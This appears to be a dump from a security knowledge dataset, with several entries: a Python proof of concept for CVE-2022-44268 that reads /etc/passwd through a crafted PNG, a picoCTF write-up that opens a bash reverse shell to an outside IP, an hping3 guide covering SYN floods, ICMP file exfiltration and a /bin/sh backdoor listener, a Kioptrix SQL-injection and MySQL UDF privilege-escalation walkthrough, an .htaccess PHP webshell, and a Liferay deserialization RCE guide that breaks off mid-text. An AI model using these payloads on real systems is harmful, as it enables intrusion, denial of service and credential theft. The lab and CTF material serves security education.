text
stringlengths
100
9.93M
category
stringclasses
11 values
#!/usr/bin/env python3 import sys import png import zlib import argparse import binascii import logging logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') d = zlib.decompressobj() e = zlib.compressobj() IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00' IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \ b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \ b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F' def parse_data(data: bytes) -> str: _, data = data.strip().split(b'\n', 1) return binascii.unhexlify(data.replace(b'\n', b'')).decode() def read(filename: str): if not filename: logging.error('you must specify a input filename') return res = '' p = png.Reader(filename=filename) for k, v in p.chunks(): logging.info("chunk %s found, value = %r", k.decode(), v) if k == b'zTXt': name, data = v.split(b'\x00', 1) res = parse_data(d.decompress(data[1:])) if res: sys.stdout.write(res) sys.stdout.flush() def write(from_filename, to_filename, read_filename): if not to_filename: logging.error('you must specify a output filename') return with open(to_filename, 'wb') as f: f.write(png.signature) if from_filename: p = png.Reader(filename=from_filename) for k, v in p.chunks(): if k != b'IEND': png.write_chunk(f, k, v) else: png.write_chunk(f, b'IHDR', IHDR) png.write_chunk(f, b'IDAT', IDAT) png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode()) png.write_chunk(f, b'IEND', b'') def main(): parser = argparse.ArgumentParser(description='POC for CVE-2022-44268') parser.add_argument('action', type=str, choices=('generate', 'parse')) parser.add_argument('-i', '--input', type=str, help='input filename') parser.add_argument('-o', '--output', type=str, help='output filename') parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd') args = parser.parse_args() if args.action == 'generate': write(args.input, args.output, args.read) elif args.action == 'parse': read(args.input) else: logging.error("bad action") if __name__ == '__main__': main()
sec-knowleage
# fancy-alive-monitoring Web Exploitation, 400 points ## Description: > One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell3.picoctf.com:8587 (link)? ```php <html> <head> <title>Monitoring Tool</title> <script> function check(){ ip = document.getElementById("ip").value; chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/); if (!chk) { alert("Wrong IP format."); return false; } else { document.getElementById("monitor").submit(); } } </script> </head> <body> <h1>Monitoring Tool ver 0.1</h1> <form id="monitor" action="index.php" method="post" onsubmit="return false;"> <p> Input IP address of the target host <input id="ip" name="ip" type="text"> </p> <input type="button" value="Go!" onclick="check()"> </form> <hr> <?php $ip = $_POST["ip"]; if ($ip) { // super fancy regex check! if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) { exec('ping -c 1 '.$ip, $cmd_result); foreach($cmd_result as $str){ if (strpos($str, '100% packet loss') !== false){ printf("<h3>Target is NOT alive.</h3>"); break; } else if (strpos($str, ', 0% packet loss') !== false){ printf("<h3>Target is alive.</h3>"); break; } } } else { echo "Wrong IP Format."; } } ?> <hr> <a href="index.txt">index.php source code</a> </body> </html> ``` ## Solution: The form expects an IP, but it actually allows us to send any command after the IP and it will be executed by `exec`. We will use this to open a reverse shell. ### Step 1: Check your internal IP: ``` C:\Users\User>ipconfig Windows IP Configuration Wireless LAN adapter Wi-Fi: Connection-specific DNS Suffix . : home Link-local IPv6 Address . . . . . : ****** IPv4 Address. . . . . . . . . . . : 10.0.0.7 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.0.0.138 ``` The internal IP in this example is 10.0.0.7. ### Step 2: Check your external IP: This can be done by visiting [What is my IP?](https://www.whatismyip.com/). ``` Your Public IPv4 is: 87.71.89.17 Your IPv6 is: Not Detected Your Local IP is: 10.0.0.7 ``` The external IP in this example is 87.71.89.17. ### Step 3: Select a port number We'll choose "4444". ### Step 4: Connect to your router and set up port forwarding: The exact steps may vary depending on router: ``` Advanced -> Virtual Server -> Port Forwarding Create the port forwarding rules to allow certain applications or server software to work on your computers if the Internet connection uses NAT. Application Name External Packet Internal Host Delete IP Address Protocol Port IP Address Port test ALL TCP 4444 10.0.0.7 4444 ``` ### Step 5: Setup netcat to listen on local server: For example, using WSL: ``` user@computer:~$ nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444) ``` ### Step 6: Execute attack: We submit the following IP: ``` 127.0.0.1; /bin/bash -c 'bash -i >& /dev/tcp/87.71.89.17/4444 0>&1' ``` Everything after `127.0.0.1;` is related to the reverse shell. ### Step 7: Reverse shell connects: ``` user@computer:~$ nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [18.224.26.75] port 4444 [tcp/*] accepted (family 2, sport 47032) bash: cannot set terminal process group (7379): Inappropriate ioctl for device bash: no job control in this shell <ive-monitoring_1_14d0233714148d826b8d5f6bc1a8d624$ ls ls flag.txt index.php index.txt xinet_startup.sh <ive-monitoring_1_14d0233714148d826b8d5f6bc1a8d624$ cat flag.txt cat flag.txt Here is your flag: picoCTF{n3v3r_trust_a_b0x_96639d91} <ive-monitoring_1_14d0233714148d826b8d5f6bc1a8d624$ exit exit exit ``` ### Step 8: Delete port forwarding Connect to your router and delete the port forwarding. --- The flag: picoCTF{n3v3r_trust_a_b0x_96639d91}
sec-knowleage
--- title: hping3 categories: Information Gathering tags: [hping3,information gathering,kali linux,spoofing,recon] date: 2017-04-23 06:52:00 --- 0x00 hping3介绍 ------------- hping是面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。 <!--more--> 虽然hping以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用hping的一小部分内容: ```plain - 防火墙测试 - 高级端口扫描 - 网络测试,使用不同的协议,TOS,分片 - 手动路径MTU发现 - 在所有支持的协议下,高级traceroute - 远程操作系统指纹 - 远程正常运行时间猜测 - TCP/IP协议栈审计 - hping也可以用于学习TCP/IP的学生 ``` <!--more--> 工具来源:http://www.hping.org/ [hping3主页][1] | [Kali hping3仓库][2] - 作者:Salvatore Sanfilippo - 证书:GPLv2 0x01 hping3功能 ---------------- ```plain root@kali:~# hping3 -h 用法: hping3 主机 [options] -h --help 显示帮助 -v --version 显示版本 -c --count 数据包计数 -i --interval 等待 (uX即X微秒, 例如: -i u1000) --fast 等同 -i u10000 (每秒10个包) --faster 等同 -i u1000 (每秒100个包) --flood 尽最快发送数据包,不显示回复。 -n --numeric 数字输出 -q --quiet 静默模式 -I --interface 接口名 (默认路由接口) -V --verbose 详细模式 -D --debug 调试信息 -z --bind 绑定ctrl+z到ttl(默认为目的端口) -Z --unbind 取消绑定ctrl+z键 --beep 对于接收到的每个匹配数据包蜂鸣声提示 模式 默认模式 TCP -0 --rawip 原始IP模式 -1 --icmp ICMP模式 -2 --udp UDP模式 -8 --scan SCAN模式 例子: hping --scan 1-30,70-90 -S www.target.host -9 --listen listen模式 IP -a --spoof 伪造源地址 --rand-dest 随机目的地址模式。详细使用man命令 --rand-source 随机来源地址模式。详细使用man命令 -t --ttl ttl (默认64) -N --id id (默认随机) -W --winid 使用win* id字节顺序 -r --rel 相对id字段(估计主机流量) -f --frag 拆分数据包更多的frag -x --morefrag 设置更多的分段标志 -y --dontfrag 设置不分段标志 -g --fragoff 设置分段偏移 -m --mtu 设置虚拟最大传输单元 -o --tos 服务类型(默认为0x00),尝试--tos帮助 -G --rroute 包含RECORD_ROUTE选项并显示路由缓冲区 --lsrr 松散源路由并记录路由 --ssrr 严格源路由并记录路由 -H --ipproto 设置IP协议字段,仅在RAW IP模式下使用 ICMP -C --icmptype icmp类型(默认echo请求) -K --icmpcode icmp代号(默认0) --force-icmp 发送所有icmp类型(默认仅发送支持的类型) --icmp-gw 设置ICMP重定向网关地址(默认0.0.0.0) --icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳) --icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子网掩码) --icmp-help 显示其他icmp选项帮助 UDP/TCP -s --baseport 基源端口(默认随机) -p --destport [+][+]<port> 目的端口(默认0) ctrl+z inc/dec -k --keep 保持源端口 -w --win windows发送字节(默认64) -O --tcpoff 设置伪造tcp数据偏移量(取代tcp地址长度除4) -Q --seqnum 仅显示tcp序列号 -b --badcksum (尝试)发送具有错误IP校验和数据包 许多系统将修复发送数据包的IP校验和 所以你会得到错误UDP/TCP校验和。 -M --setseq 设置TCP序列号 -L --setack 设置TCP确认 -F --fin 设置FIN标志 -S --syn 设置SYN标志 -R --rst 设置RST标志 -P --push 设置PUSH标志 -A --ack 设置ACK标志 -U --urg 设置URG标志 -X --xmas 设置X未使用的标志(0x40) -Y --ymas 设置Y未使用的标志(0x80) --tcpexitcode 使用last tcp-> th_flags作为退出码 --tcp-mss 启用具有给定值的TCP MSS选项 --tcp-timestamp 启用TCP时间戳选项来猜测HZ/uptime 通用 -d --data 数据大小(默认0) -E --file 文件数据 -e --sign 添加“签名” -j --dump 转储为十六进制数据包 -J --print 转储为可打印字符 -B --safe 启用“安全”协议 -u --end 告诉你什么时候--file达到EOF并防止倒回 -T --traceroute traceroute模式(等同使用 --bind 且--ttl 1) --tr-stop 在traceroute模式下收到第一个不是ICMP时退出 --tr-keep-ttl 保持源TTL固定,仅用于监视一跳 --tr-no-rtt 不要在跟踪路由模式下计算/显示RTT信息 ARS包描述(新增功能,不稳定) --apd-send 发送APD描述数据包(参见docs / APD.txt) ``` 0x02 hping3用法示例 --------- 对于目标(www.example.com),使用跟踪路由模式(-traceroute),在ICMP模式(-1)中详细显示verbose(-V): ```plain root@kali:~# hping3 --traceroute -V -1 www.example.com using eth0, addr: 192.168.1.15, MTU: 1500 HPING www.example.com (eth0 93.184.216.119): icmp mode set, 28 headers + 0 data bytes hop=1 TTL 0 during transit from ip=192.168.1.1 name=UNKNOWN hop=1 hoprtt=0.3 ms hop=2 TTL 0 during transit from ip=192.168.0.1 name=UNKNOWN hop=2 hoprtt=3.3 ms ``` 0x03 hping3典型功能 ----------- **防火墙测试** 使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html 测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。 例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。 hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 端口扫描 Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。 以下示例可用于探测目标机的80端口是否开放: hping3 -I eth0 -S 192.168.10.1 -p 80 其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。 hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接, 所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。 当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。 **Idle扫描** Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的, 目前Idle扫描在Nmap中也有实现。 该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的), 攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包), 此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包, 获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。 **拒绝服务攻击** 使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。 hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 其他攻击如smurf、teardrop、land attack等也很容易构建出来。 **文件传输** Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。 实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。 在接收端开启服务: hping3 192.168.1.159--listen signature --safe --icmp 监听ICMP包中的签名,根据签名解析出文件内容。 在发送端使用签名打包的ICMP包发送文件: hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd 将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。 **木马功能** 如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。 示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。 在木马启动端: hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh 在远程控制端: echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd 将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。 当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。 [1]: http://www.hping.org/ [2]: http://git.kali.org/gitweb/?p=packages/hping3.git;a=summary
sec-knowleage
# Kioptrix4-WalkThrough > 文章作者 [xidaner](https://github.com/xidaner) & [r0fus0d](https://github.com/No-Github) --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/kioptrix-level-13-4,25/ **Description** ``` Again a long delay between VMs, but that cannot be helped. Work, family must come first. Blogs and hobbies are pushed down the list. These things aren’t as easy to make as one may think. Time and some planning must be put into these challenges, to make sure that: 1. It’s possible to get root remotely [ Edit: sorry not what I meant ] 1a. It’s possible to remotely compromise the machine Stays within the target audience of this site Must be “realistic” (well kinda…) Should serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven’t done in a while. I also had lots of troubles exporting this one. So please take the time to read my comments at the end of this post. Keeping in the spirit of things, this challenge is a bit different than the others but remains in the realm of the easy. Repeating myself I know, but things must always be made clear: These VMs are for the beginner. It’s a place to start. I’d would love to code some small custom application for people to exploit. But I’m an administrator not a coder. It would take too much time to learn/code such an application. Not saying I’ll never try doing one, but I wouldn’t hold my breath. If someone wants more difficult challenges, I’m sure the Inter-tubes holds them somewhere. Or you can always enroll in Offsec’s PWB course. *shameless plug -- A few things I must say. I made this image using a new platform. Hoping everything works but I can’t test for everything. Initially the VM had troubles getting an IP on boot-up. For some reason the NIC wouldn’t go up and the machine was left with the loopback interface. I hope that I fixed the problem. Don’t be surprised if it takes a little moment for this one to boot up. It’s trying to get an IP. Be a bit patient. Someone that tested the image for me also reported the VM hung once powered on. Upon restart all was fine. Just one person reported this, so hoping it’s not a major issue. If you plan on running this on vmFusion, you may need to convert the imagine to suit your fusion version. -- Also adding the VHD file for download, for those using Hyper-V. You guys may need to change the network adapter to “Legacy Network Adapter”. I’ve test the file and this one seems to run fine for me… If you’re having problems, or it’s not working for any reason email comms[=]kioptrix.com Thanks to @shai_saint from www.n00bpentesting.com for the much needed testing with various VM solutions. Thanks to Patrick from Hackfest.ca for also running the VM and reporting a few issues. And Swappage & @Tallenz for doing the same. All help is appreciated guys So I hope you enjoy this one. The Kioptrix Team Source: http://www.kioptrix.com/blog/?p=604 **Note: Just a virtual hard drive. You'll need to create a new virtual machine & attach the existing hard drive** ``` **知识点** - SQL 注入 - mysql udf 提权 --- # 前期-信息收集 ## nmap 开机后我们发现 这个用户名和密码是不知道的 在虚拟机中要先接入到和 kali 一个网段中.然后我们要知道这个虚拟机的 ip 地址,就要用到 IP 探活. ``` nmap -sP <你虚拟机网卡的网段> /24 ``` 可以发现网段中一共有 4 个 ip 地址,除去本机和 kali 剩下的就是靶机的 ip 地址 --- ## 扫描开放端口 ``` nmap 192.168.17.130 ``` 可以发现,目标打开了 80 端口 目测可以注入,尝试了简单 payload,下面选择直接跑 sqlmap --- # 中期-漏洞利用 ## sql注入 代码: ``` sqlmap -u http://192.168.17.130/checklogin.php --data="myusername=admin&mypassword=123&Submit=Login" -p mypassword --dump -T members -D members ``` ``` id | username | password | +----+----------+-----------------------+ | 1 | john | MyNameIsJohn | | 2 | robert | ADGAdsafdfwt4gadfga== | ``` --- # 后期-拿shell-提权 ## 尝试 SSH 登录 输入用户名和密码登录进去 这里用了 echo 命令获取交互 shell ``` echo os.system("/bin/bash") whoami ``` 查看服务器下的文件 ``` cd /var/www/ cat checklogin.php ``` --- ## 登录 MYSQL ``` mysql -u root -p ``` --- ## mysql UDF 提权 在 mysql 中输入 ``` select sys_exec('usermod -a -G admin john'); ``` 在我们退出去后,尝试登录到 root `whoami` 确认获取 `root` 提权成功,感谢 Kioptrix Team 制作靶机 --- # 补充 **扫描 smb** 目标开放 139 445 这意味着可能可以枚举用户名 `nmap -sC --script smb-enum-users.nse <目标IP>` `enum4linux <目标IP>` 这2个命令都可以 **udf 提权** 需要 udf 提权,需要检查 mysql 是否以 root 权限运行 ``` ls -la /usr/lib/lib_mysqludf_sys.so ```
sec-knowleage
chgrp === 用来变更文件或目录的所属群组 ## 补充说明 **chgrp命令** 用来改变文件或目录所属的用户组。该命令用来改变指定文件所属的用户组。其中,组名可以是用户组的id,也可以是用户组的组名。文件名可以 是由空格分开的要改变属组的文件列表,也可以是由通配符描述的文件集合。如果用户不是该文件的文件主或超级用户(root),则不能改变该文件的组。 在UNIX系统家族里,文件或目录权限的掌控以拥有者及所属群组来管理。您可以使用chgrp指令去变更文件与目录的所属群组,设置方式采用群组名称或群组识别码皆可。 ### 语法 ```shell chgrp [选项][组群][文件|目录] ``` ### 选项 ```shell -R 递归式地改变指定目录及其下的所有子目录和文件的所属的组 -c或——changes:效果类似“-v”参数,但仅回报更改的部分; -f或--quiet或——silent:不显示错误信息; -h或--no-dereference:只对符号连接的文件作修改,而不是该其他任何相关文件; -H如果命令行参数是一个通到目录的符号链接,则遍历符号链接 -R或——recursive:递归处理,将指令目录下的所有文件及子目录一并处理; -L遍历每一个遇到的通到目录的符号链接 -P不遍历任何符号链接(默认) -v或——verbose:显示指令执行过程; --reference=<参考文件或目录>:把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同; ``` ### 参数 * 组:指定新工作名称; * 文件:指定要改变所属组的文件列表。多个文件或者目录之间使用空格隔开。 ### 实例 将`/usr/meng`及其子目录下的所有文件的用户组改为mengxin ```shell chgrp -R mengxin /usr/meng ``` 更改文件ah的组群所有者为 `newuser` ```shell [root@rhel ~]# chgrp newuser ah ```
sec-knowleage
from PIL import Image import sys s=open(sys.argv[1],"rb").read() im=Image.new("L", (601, 600)) im.putdata(s) im.save("out.png")
sec-knowleage
version: '2' services: spring: image: vulhub/spring-data-commons:2.0.5 ports: - "8080:8080"
sec-knowleage
# Green Cabbage (for, 322p, 7 solved) A pretty random challenge. It was very simple "technically", but the hardest part was to guess what's going on there. We get a [pcap](Green_Cabbage.pcap) to analyse. The only interesting part is some communication with server `37.139.4.247` on port `31337`. Some base64 binary-looking payloads are sent back and forth. The server is up so we can try sending data as well, but without knowing what we're looking at it's a bit hard. One communication in the pcap is interesting, because it results in: ``` BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBrrrrrrrrrrrrrrroBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBtrrrrrrrrrrrrrrrrrrrrrrrrrtBBBBBBBBBBBBBBBB BBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBB BBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrr rrrrrrrrrrrrBBBBBBBBBBB BBBBBBBBBrrrrrrrrrrrrrrrrrrrrrr rrrrrrrrrrrrrBBBBBBBBB BBBBBBBrrrrrrrrrrrrrrrrrrrrrrr rrrrrrrrrrrrrrrBBBBBBB BBBBBBrrrrrrrrrrrrrrrrrrrrrrr lrrrrrrrrrrrrrrrBBBBBB BBBBtrrrrrrrrrrrr rrrrrrrr rrrrrrrrrrrrrrrrroBBBB BBBBrrrrrrrrrrrl rrrrrrr rrrrrrrrrrrrrrrrrrBBBB BBBrrrrrrrrrrrr rrrrrr rrrrrrrrrrrrrrrrrrrBBB BBrrrrrrrrrrrr irrrrrr rrrrrrrr rrrrrrrrrrrBB BBrrrrrrrrrrr rrrrrr rrrrrrri rrrrrrrrrrBB Borrrrrrrrrrr rrrrri rrrrrr rrrrrrrrrroB Brrrrrrrrrrr rrrrrr rrrrrr rrrrrrrrrrrB Brrrrrrrrrrr rrrrrr rrrrrr rrrrrrrrrrrB Borrrrrrrrrr rrrrrr irrrrr rrrrrrrrrrroB BBrrrrrrrrrr irrrrrrr rrrrrr rrrrrrrrrrrBB BBrrrrrrrrrrr rrrrrrrr rrrrrri rrrrrrrrrrrrBB BBBrrrrrrrrrrrrrrrrrrr rrrrrr rrrrrrrrrrrrBBB BBBBrrrrrrrrrrrrrrrrrr rrrrrrr lrrrrrrrrrrrBBBB BBBBBrrrrrrrrrrrrrrrrr rrrrrrrr rrrrrrrrrrrroBBBB BBBBBBrrrrrrrrrrrrrrrl rrrrrrrrrrrrrrrrrrrrrrrBBBBBB BBBBBBBrrrrrrrrrrrrrrr rrrrrrrrrrrrrrrrrrrrrrrBBBBBBB BBBBBBBBBrrrrrrrrrrrrr rrrrrrrrrrrrrrrrrrrrrrBBBBBBBBB BBBBBBBBBBBrrrrrrrrrrrr rrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBB BBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBB BBBBBBBBBBBBBBBBorrrrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBrrroootttllliiiBBBBBBBBBBBBBBBBBBBBBB ``` At some point one of our friends googled thr word in the bottom -> `Brrroootttllliii` and we found https://github.com/google/brotli with matching logo. We did a quick check and yes, the payloads are simply compressed with brotli. The only thing left was to communicate with the server: ``` hi all, ******************** send the exact time in epoch format please... ``` Once we send the timestamp we get back the logo. Then: ``` as you found that we are using Brotli compression algorithm for connection in this task you should find a compressed string inside the given byte stream are you ready? [Y]es or [N]o ******************** RJYafFyURxsp3r0D6jJVZibafFyURxsp3r0D6jJVZibafFyURxsp3r0D6jJVZibXcV whats the message?********** ``` Now this was very confusing because we didn't understand what is the goal here. We tried to do some cryptanalysis on this strange string, but eventually someone suggested that maybe we simply need to send this random string back. We did and we got the flag: `ASIS{Brotli_iz_the_b35t_lOssl3s5_c0mpr3ss1oN_algOr1thm___Ri9ht??}` Full solver [here](cabbage.py)
sec-knowleage
# Level04 #### About This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :) To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04. #### Sources ``` #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); } ``` #### Solutions ``` ln -s /home/flag04/token /tmp/target /home/flag04/flag04 /tmp/target Output: 06508b5e-8909-4f38-b630-fdb148a848a2 su flag04 Password: <-- 06508b5e-8909-4f38-b630-fdb148a848a2 /bin/getflag ```
sec-knowleage
# Careers * Category: Web * 100 Points * Solved by the JCTF Team ## Description > We got hacked, > > We're trying to indentify the ROOT cause. > > If you are a l33t h4x0r, please upload your resume. ## Solution The attached website allows uploading CVs: ```html <div class="bg-dark text-secondary px-4 py-5 text-center"> <div class="py-5"> <h1 class="display-5 fw-bold text-white">Careers, CV Upload Page</h1> <div class="col-lg-6 mx-auto"> <p class="fs-5 mb-4">Upload your CV using txt format only, please archive the files using zip format.</p> <form method="post" enctype="multipart/form-data"> <input type="file" name="zip_file" /> <br /> <br /> <input type="submit" name="btn_zip" class="btn btn-info" value="Upload" /> </div> </div> <p> </p> </div> ``` All we need to do is zip our CV and upload it: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ echo "This is a test." > test.txt ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ zip test.zip test.txt adding: test.txt (stored 0%) ``` Once we do, we get the following message: ```html <p class="fs-5 mb-4">Thank you!, our recruiter will contact you ASAP, your candinate ID is: 37a0e2f4f4999c7aaadfe6b3009354f7, <br><a href="./upload/37a0e2f4f4999c7aaadfe6b3009354f7" class="link-success">37a0e2f4f4999c7aaadfe6b3009354f7 Files</a></p> ``` We can visit that link and see that our CV was extracted there: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ curl -k 'https://careers.chal.intentsummit.org/upload/37a0e2f4f4999c7aaadfe6b3009354f7/test.txt' -H 'Cookie: intent-ctf-session=6788422a5e4230e038bd5673cc4708aa' This is a test. ``` This is a PHP site, so we should start by trying to upload a PHP file. ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ cat phpinfo.php <?php phpinfo(); ?> ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ zip php.zip phpinfo.php test.txt updating: phpinfo.php (stored 0%) adding: test.txt (stored 0%) ``` However, those don't seem to get extracted to the upload directory. The next best thing would be an `.htaccess` file that executes PHP: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ cat .htaccess <Files .htaccess> ForceType application/x-httpd-php SetHandler application/x-httpd-php Require all granted Order allow,deny Allow from all php_flag engine on </Files> php_value auto_prepend_file .htaccess #<?php echo system("cat $(find / -name flag)")."<br />"; ?> ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ zip htaccess.zip .htaccess test.txt adding: .htaccess (deflated 32%) adding: test.txt (stored 0%) ``` Once uploaded, we get: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Careers] └─$ curl -k 'https://careers.chal.intentsummit.org/upload/7781187f9f7f6de411a91c2396f15859/.htaccess' -H 'Cookie: intent-ctf-session=6788422a5e4230e038bd5673cc4708aa' <Files .htaccess> ForceType application/x-httpd-php SetHandler application/x-httpd-php Require all granted Order allow,deny Allow from all php_flag engine on </Files> php_value auto_prepend_file .htaccess #a INTENT{zipfiles_are_awsome_for_pt}INTENT{zipfiles_are_awsome_for_pt}<br /> <Files .htaccess> ForceType application/x-httpd-php SetHandler application/x-httpd-php Require all granted Order allow,deny Allow from all php_flag engine on </Files> php_value auto_prepend_file .htaccess #a INTENT{zipfiles_are_awsome_for_pt}INTENT{zipfiles_are_awsome_for_pt}<br /> ```
sec-knowleage
# Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961) Liferay Portal CE是一款用来快速构建网站的开源系统。其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。 参考链接: - https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html - https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/ - https://xz.aliyun.com/t/7499 - https://xz.aliyun.com/t/7485 ## 漏洞环境 执行如下命令启动Liferay Portal 7.2.0 GA1: ``` docker compose up -d ``` 启动成功后,访问`http://your-ip:8080`即可查看到默认首页。如果环境一直没有成功启动,可能是内存不足,请使用至少2G内存的服务器运行这个环境。 ## 漏洞复现 首先准备一个恶意的Java类,编译: ```java // javac LifExp.java public class LifExp { static { try { String[] cmd = {"bash", "-c", "touch /tmp/success"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } ``` 在保存着class文件的目录下运行一个HTTP文件服务: ``` $ ls LifExp.class LifExp.java $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... ``` 因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助[marshalsec](https://github.com/mbechler/marshalsec)来生成一个适用于Jackson的POC: ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp ``` 其中,`http://evil/`是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。 ![](1.png) 生成的Payload是Jackson使用的,我们只需按照Liferay Portal的形式,即`+参数名:类名=值`,来修改这个Payload: ``` 